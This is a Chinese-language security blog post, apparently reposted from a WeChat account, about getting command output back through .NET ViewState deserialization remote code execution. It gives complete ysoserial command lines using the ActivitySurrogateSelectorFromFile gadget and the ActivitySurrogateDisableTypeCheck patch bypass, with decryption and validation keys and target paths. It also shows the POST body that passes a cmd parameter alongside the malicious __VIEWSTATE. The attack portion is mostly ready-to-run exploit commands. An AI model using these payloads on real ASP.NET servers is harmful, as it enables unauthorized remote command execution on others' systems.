.NET ViewStates RCE 回显命令执行结果

admin 2023年8月2日09:44:14评论63 views字数 1597阅读5分19秒阅读模式

0x01 工具分析

ysoserial 1.35版内置的ExploitClass.cs文件代码已做了很多更改,大约提供了创建WebShellDNS请求、cmd执行系统命令、线程休眠10秒、写入Cookies 5项红队利用方式,其中默认开启注释的是引入了System.Windows.Forms.dll组件,弹出WinForm窗体对话框,如下图

.NET ViewStates RCE 回显命令执行结果

但是在老版本ysoserial 中ExploitClass.cs中定义的E()构造方法引入HttpContext类,该类提供了对当前HTTP请求的访问和操作,并且在整个请求生命周期中存储和共享有关请求的信息,比如HttpContext.Request、HttpContext.Response对象,结合Process.StandardOutput.ReadToEnd()方法可获取进程执行后返回的数据流信息,从而得到执行系统命令在Web侧的回显结果,将ExploitClass.cs内容修改成如下图所示代码

.NET ViewStates RCE 回显命令执行结果

0x02 工具使用

笔者使用ActivitySurrogateSelectorFromFile作为 ysoserial ViewState 生成器,运行如下命令生成payload,如"代码清单4-3-5-3"所示

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --path="/About.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

当然在较新的.NET版本下需要先提交ActivitySurrogateDisableTypeCheck绕过补丁,然后再发送上述命令生成的payload,运行如下命令生成payload

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/About.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

最后在HTTP PostBody请求时添加cmd参数,笔者这里指定为whoami,再传递__VIEWSTATE值payload,返回预期结果如下图 cmd=whoami&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=payload

.NET ViewStates RCE 回显命令执行结果

星球优惠活动

原文始发于微信公众号(dotNet安全矩阵):.NET ViewStates RCE 回显命令执行结果

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月2日09:44:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .NET ViewStates RCE 回显命令执行结果https://cn-sec.com/archives/1927757.html

发表评论

匿名网友 填写信息